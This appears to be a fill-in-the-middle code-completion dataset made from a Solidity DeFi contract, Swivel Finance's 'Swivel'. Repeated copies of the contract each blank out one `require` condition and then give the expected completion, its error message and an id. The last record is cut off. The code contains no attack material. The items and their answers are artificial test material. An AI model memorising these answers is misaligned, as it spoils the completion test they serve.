// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; // redeem underlying on Compound and burn cTokens MarketPlace mPlace = MarketPlace(marketPlace); address cTokenAddr = mPlace.cTokenAddress(o.underlying, o.maturity); uint256 principalFilled = (a * o.principal) / o.premium; require((CErc20(cTokenAddr).redeemUnderlying(principalFilled) == 0), "compound redemption error"); Erc20 uToken = Erc20(o.underlying); // transfer principal-premium-fee back to fixed exit party now that the interest coupon and zcb have been redeemed uint256 fee = principalFilled / feenominators[1]; Safe.transfer(uToken, msg.sender, principalFilled - a - fee); Safe.transfer(uToken, o.maker, a); // burn <principalFilled> zcTokens + nTokens from msg.sender and o.maker respectively require(<FILL_ME>) emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.custodialExit(o.underlying,o.maturity,msg.sender,o.maker,principalFilled),'custodial exit failed'
199,320
mPlace.custodialExit(o.underlying,o.maturity,msg.sender,o.maker,principalFilled)
'minting CToken Failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { Erc20 uToken = Erc20(u); Safe.transferFrom(uToken, msg.sender, address(this), a); MarketPlace mPlace = MarketPlace(marketPlace); require(<FILL_ME>) require(mPlace.mintZcTokenAddingNotional(u, m, msg.sender, a), 'mint ZcToken adding Notional failed'); return true; } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
CErc20(mPlace.cTokenAddress(u,m)).mint(a)==0,'minting CToken Failed'
199,320
CErc20(mPlace.cTokenAddress(u,m)).mint(a)==0
'mint ZcToken adding Notional failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { Erc20 uToken = Erc20(u); Safe.transferFrom(uToken, msg.sender, address(this), a); MarketPlace mPlace = MarketPlace(marketPlace); require(CErc20(mPlace.cTokenAddress(u, m)).mint(a) == 0, 'minting CToken Failed'); require(<FILL_ME>) return true; } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.mintZcTokenAddingNotional(u,m,msg.sender,a),'mint ZcToken adding Notional failed'
199,320
mPlace.mintZcTokenAddingNotional(u,m,msg.sender,a)
'burn ZcToken removing Notional failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass 